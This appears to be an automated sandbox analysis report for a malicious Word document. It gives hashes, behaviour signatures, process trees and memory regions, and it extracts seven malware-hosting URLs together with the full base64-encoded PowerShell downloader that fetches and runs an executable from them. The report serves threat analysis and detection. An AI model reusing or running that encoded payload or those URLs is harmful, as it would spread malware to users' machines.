Analysis

  • max time kernel
    118s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    31-05-2024 02:06

General

  • Target

    85b08b40853a44b110f3e6ce44aebf9e_JaffaCakes118.doc

  • Size

    242KB

  • MD5

    85b08b40853a44b110f3e6ce44aebf9e

  • SHA1

    5bff2784931fd71ef4562388bb98703390d46614

  • SHA256

    7e25629883326f475a7499227a6e0be48035bc8930f738aab7b0bd984df0a72e

  • SHA512

    299dfdbd39a2af86f063bd82a69862fc4385ce02a5c26e7a82f9ddeb0e277b4d0eb423c657d465b4dbd45373c5e4018c4909a4b8c3c488112c7229874b68b5e0

  • SSDEEP

    3072:wYy0u8YGgjv+ZvchmkHcI/o1/Vb6///////////////////////////////////i:40uXnWFchmmcI/o1/COfLh

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://www.ksgresearch.org/LLC/z9B/

exe.dropper

http://www.mitrausahacontrucion.com/multifunctional-section/X2v4XN/

exe.dropper

http://daprofesional.com/data4/rsdbA1h/

exe.dropper

http://degisimkalip.com.tr/wp-admin/ZML/

exe.dropper

http://da-industrial.com/js/6GGA48AK/

exe.dropper

http://cse-engineer.com/cgi-bin/BOiL/

exe.dropper

http://casabeethovenlb.com/classes/7SUlG/

Signatures

  • Blocklisted process makes network request 12 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\85b08b40853a44b110f3e6ce44aebf9e_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2384
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2684
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -encod JABDADYAZABfADIAcwA4AD0AKAAoACcATQB3ACcAKwAnAHcAJwApACsAJwBrADEAJwArACcAbgBtACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUAbgBWADoAVQBTAGUAcgBQAFIATwBGAGkAbABlAFwARwAxADAAcABnAGkAOABcAFoAVABUAHgAQgA0AE8AXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIARQBjAFQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBgAGMAVQBSAGAASQBUAHkAcAByAG8AVABPAGMAYABPAEwAIgAgAD0AIAAoACgAJwB0ACcAKwAnAGwAcwAxACcAKQArACcAMgAnACsAKAAnACwAJwArACcAIAB0AGwAJwApACsAKAAnAHMAJwArACcAMQAxACwAIAAnACkAKwAnAHQAbAAnACsAJwBzACcAKQA7ACQAVwAwAGwAagBpADkAZQAgAD0AIAAoACcARgAnACsAJwB1AHgAJwArACgAJwA4ACcAKwAnADYAdgAnACkAKQA7ACQASwBzAGwAZgA2AHUAZgA9ACgAKAAnAEIAdgBpACcAKwAnAGcAbgAnACkAKwAnADYAZQAnACkAOwAkAFEAbwA0AGYAbgBjADMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAwACcAKwAnAH0AJwArACcARwAxADAAcABnAGkAOAB7ADAAJwArACcAfQBaAHQAdAB4AGIANABvAHsAMAB9ACcAKQAgAC0ARgAgAFsAYwBoAEEAUgBdADkAMgApACsAJABXADAAbABqAGkAOQBlACsAKAAnAC4AJwArACgAJwBlACcAKwAnAHgAZQAnACkAKQA7ACQAVAA1ADcAOQB2AHcAdwA9ACgAJwBRACcAKwAoACcAaABvAHAAJwArACcAcwAnACkAKwAnAGYAcgAnACkAOwAkAFcAYwB1ADEAbwB0AHgAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4ARQB0AC4AVwBlAGIAYwBMAEkAZQBOAHQAOwAkAEQAagA0AHEAagBhAHgAPQAoACgAJwBoAHQAdABwACcAKwAnADoALwAvAHcAdwAnACsAJwB3ACcAKwAnAC4AawBzAGcAJwApACsAKAAnAHIAZQBzACcAKwAnAGUAYQByACcAKwAnAGMAaAAnACsAJwAuAG8AcgBnAC8ATABMAEMAJwArACcALwAnACsAJwB6ADkAQgAvACoAJwApACsAJwBoACcAKwAoACcAdAB0ACcAKwAnAHAAJwApACsAKAAnADoAJwArACcALwAvAHcAdwAnACkAKwAoACcAdwAuAG0AaQB0AHIAJwArACcAYQB1ACcAKwAnAHMAYQBoACcAKQArACcAYQAnACsAKAAnAGMAbwAnACsAJwBuAHQAcgAnACkAKwAnAHUAYwAnACsAJwBpAG8AJwArACcAbgAnACsAJwAuAGMAJwArACcAbwAnACsAKAAnAG0AJwArACcALwBtACcAKQArACgAJwB1AGwAdAAnACsAJwBpACcAKwAnAGYAdQAnACsAJwBuAGMAdABpAG8AbgAnACsAJwBhAGwALQBzAGUAJwApACsAKAAnAGMAdAAnACsAJwBpACcAKQArACcAbwBuACcAKwAnAC8AJwArACcAWAAyACcAKwAoACcAdgA0AFgAJwArACcATgAvACcAKQArACgAJwAqAGgAJwArACcAdAAnACkAKwAnAHQAJwArACgAJwBwADoAJwArACcALwAvAGQAYQAnACsAJwBwAHIAJwArACcAbwBmAGUAcwAnACsAJwBpAG8AbgBhACcAKwAnAGwALgAnACkAKwAnAGMAJwArACcAbwAnACsAKAAnAG0ALwBkAGEAdAAnACsAJwBhADQALwByAHMAJwArACcAZABiAEEAJwApACsAJwAxAGgAJwArACgAJwAvACcAKwAnACoAaAB0AHQAcAAnACkAKwAoACcAOgAvAC8AZABlACcAKwAnAGcAJwArACcAaQBzACcAKQArACcAaQAnACsAKAAnAG0AawBhAGwAaQBwACcAKwAnAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC4AdAByAC8AJwApACsAKAAnAHcAcAAtAGEAZAAnACsAJwBtAGkAbgAnACsAJwAvAFoATQBMAC8AJwArACcAKgAnACkAKwAnAGgAdAAnACsAKAAnAHQAcAA6ACcAKwAnAC8ALwBkAGEAJwApACsAKAAnAC0AaQBuACcAKwAnAGQAdQAnACkAKwAnAHMAJwArACgAJwB0AHIAJwArACcAaQAnACkAKwAnAGEAJwArACcAbAAnACsAKAAnAC4AJwArACcAYwBvAG0ALwBqAHMALwAnACsAJwA2ACcAKQArACgAJwBHAEcAQQA0ADgAJwArACcAQQBLAC8AJwArACcAKgAnACkAKwAoACcAaAAnACsAJwB0AHQAcAA6ACcAKQArACgAJwAvACcAKwAnAC8AYwBzAGUALQBlACcAKQArACgAJwBuAGcAJwArACcAaQAnACkAKwAnAG4AJwArACgAJwBlAGUAcgAnACsAJwAuAGMAbwBtACcAKwAnAC8AYwAnACsAJwBnAGkALQBiAGkAbgAvAEIATwAnACsAJwBpAEwALwAnACkAKwAnACoAaAAnACsAKAAnAHQAdAAnACsAJwBwACcAKQArACgAJwA6AC8AJwArACcALwBjAGEAcwBhACcAKQArACgAJwBiAGUAJwArACcAZQB0AGgAbwAnACkAKwAoACcAdgBlAG4AbABiACcAKwAnAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AYwAnACsAJwBsAGEAcwAnACkAKwAoACcAcwBlAHMALwA3AFMAJwArACcAVQAnACkAKwAoACcAbAAnACsAJwBHAC8AJwApACkALgAiAHMAYABQAGwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQATgBtAHkAcwBwAG0AYwA9ACgAKAAnAEoAcQB1ACcAKwAnADEAJwApACsAKAAnAHIAZwAnACsAJwBfACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQAQgBsAHUANwB4ADQAXwAgAGkAbgAgACQARABqADQAcQBqAGEAeAApAHsAdAByAHkAewAkAFcAYwB1ADEAbwB0AHgALgAiAEQAbwBgAFcAbgBMAE8AQQBgAGQARgBgAGkATABlACIAKAAkAEIAbAB1ADcAeAA0AF8ALAAgACQAUQBvADQAZgBuAGMAMwApADsAJABDAGoANwBjADAAeQA5AD0AKAAnAFcAJwArACgAJwB1AHQAJwArACcAeAAnACkAKwAoACcAZwAxACcAKwAnAHkAJwApACkAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQBtACcAKQAgACQAUQBvADQAZgBuAGMAMwApAC4AIgBMAEUAbgBnAGAAVABoACIAIAAtAGcAZQAgADMAOAAxADUAMgApACAAewAuACgAJwBJAG4AdgBvACcAKwAnAGsAZQAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACgAJABRAG8ANABmAG4AYwAzACkAOwAkAEEAeQBhAGcAdwA3AHAAPQAoACcASgAnACsAKAAnAHYAZQBjADgAJwArACcAawAnACkAKwAnAHEAJwApADsAYgByAGUAYQBrADsAJABDAG0AagBrAHAAagA2AD0AKAAoACcAVwB4ADYANABwACcAKwAnAG4AJwApACsAJwB4ACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUQB3AHEAcwAwAGUAcgA9ACgAKAAnAEwAbAAnACsAJwB2AGQAJwApACsAKAAnADQAMQAnACsAJwBfACcAKQApAA==
      1⤵
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2732

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      840adf170e4b8c1ce42216693163ad53

      SHA1

      5d447454c65f5c6346852528fd05b5b5a05e9b0f

      SHA256

      f968290bf7aaf11a4fed69958452d5d17e51eac27d563950d55aab07ce68ec88

      SHA512

      e4c5f50d734f4d87ec0c7a60fc0f68210968812016329d6e67ff1146cc33e79fa098158d88037436870c4541539ebec2ab182d16dce3224b5ba89e38e9929029

    • memory/2384-33-0x0000000005D10000-0x0000000005E10000-memory.dmp

      Filesize

      1024KB

    • memory/2384-66-0x00000000709FD000-0x0000000070A08000-memory.dmp

      Filesize

      44KB

    • memory/2384-32-0x0000000005D10000-0x0000000005E10000-memory.dmp

      Filesize

      1024KB

    • memory/2384-7-0x0000000000650000-0x0000000000750000-memory.dmp

      Filesize

      1024KB

    • memory/2384-8-0x0000000000650000-0x0000000000750000-memory.dmp

      Filesize

      1024KB

    • memory/2384-21-0x0000000005D10000-0x0000000005E10000-memory.dmp

      Filesize

      1024KB

    • memory/2384-22-0x0000000005D10000-0x0000000005E10000-memory.dmp

      Filesize

      1024KB

    • memory/2384-31-0x0000000005D10000-0x0000000005E10000-memory.dmp

      Filesize

      1024KB

    • memory/2384-6-0x0000000000650000-0x0000000000750000-memory.dmp

      Filesize

      1024KB

    • memory/2384-2-0x00000000709FD000-0x0000000070A08000-memory.dmp

      Filesize

      44KB

    • memory/2384-0-0x000000002F2D1000-0x000000002F2D2000-memory.dmp

      Filesize

      4KB

    • memory/2384-65-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2384-45-0x00000000709FD000-0x0000000070A08000-memory.dmp

      Filesize

      44KB

    • memory/2384-47-0x0000000000650000-0x0000000000750000-memory.dmp

      Filesize

      1024KB

    • memory/2384-48-0x0000000005E10000-0x0000000005F10000-memory.dmp

      Filesize

      1024KB

    • memory/2384-49-0x0000000005D10000-0x0000000005E10000-memory.dmp

      Filesize

      1024KB

    • memory/2384-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2732-39-0x000000001B5B0000-0x000000001B892000-memory.dmp

      Filesize

      2.9MB

    • memory/2732-40-0x0000000002620000-0x0000000002628000-memory.dmp

      Filesize

      32KB